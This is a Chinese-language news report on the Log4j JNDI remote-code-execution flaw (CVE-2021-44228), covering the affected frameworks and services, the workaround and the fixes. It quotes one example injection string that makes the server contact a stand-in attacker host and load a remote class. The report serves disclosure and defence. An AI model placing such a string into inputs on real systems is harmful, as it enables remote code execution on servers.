Apache Log4j 中的灾难性漏洞影响了许多 Java 项目

Apache Log4j(一种用于在 Java 应用程序中组织日志记录的流行框架)中发现了一个严重漏洞,该漏洞允许在将“{jndi:URL}”格式的特殊格式值写入日志时执行任意代码。 该攻击可以在记录从外部源接收的值的 Java 应用程序上进行,例如,在错误消息中显示有问题的值时。

值得注意的是,几乎所有使用 Apache Struts、Apache Solr、Apache Druid 或 Apache Flink 等框架的项目都受到该问题的影响,包括 Steam、Apple iCloud、Minecraft 客户端和服务器。 预计该漏洞可能会引发一波针对企业应用程序的大规模攻击,重演 Apache Struts 框架中严重漏洞的历史,据粗略估计,65% 的企业在 Web 应用程序中使用该框架。 100 家公司。包括尝试扫描网络以查找易受攻击的系统。

由于工作漏洞已经发布,但稳定分支的修复程序尚未编译,这一事实使问题变得更加严重。 CVE 标识符尚未分配。 该修复仅包含在 log4j-2.15.0-rc1 测试分支中。 作为阻止该漏洞的解决方法,建议将 log4j2.formatMsgNoLookups 参数设置为 true。

该问题是由于 log4j 支持处理输出到日志的行中的特殊掩码“{}”,其中可以执行 JNDI(Java 命名和目录接口)查询。 攻击归结为传递一个带有替换“${jndi:ldap://attacker.com/a}”的字符串,在处理后,log4j 会将 Java 类路径的 LDAP 请求发送到 Attacker.com 服务器。 攻击者服务器返回的路径(例如http://second-stage.attacker.com/Exploit.class)将在当前进程的上下文中加载并执行,这使得攻击者可以在服务器上执行任意代码系统具有当前应用程序的权限。

附录 1:该漏洞已分配标识符 CVE-2021-44228。

附录 2:已确定绕过版本 log4j-2.15.0-rc1 添加的保护的方法。 已提出新的更新 log4j-2.15.0-rc2,针对该漏洞提供更完整的保护。 该代码突出显示了在使用格式不正确的 JNDI URL 的情况下与不存在异常终止相关的更改。

来源: opennet.ru

添加评论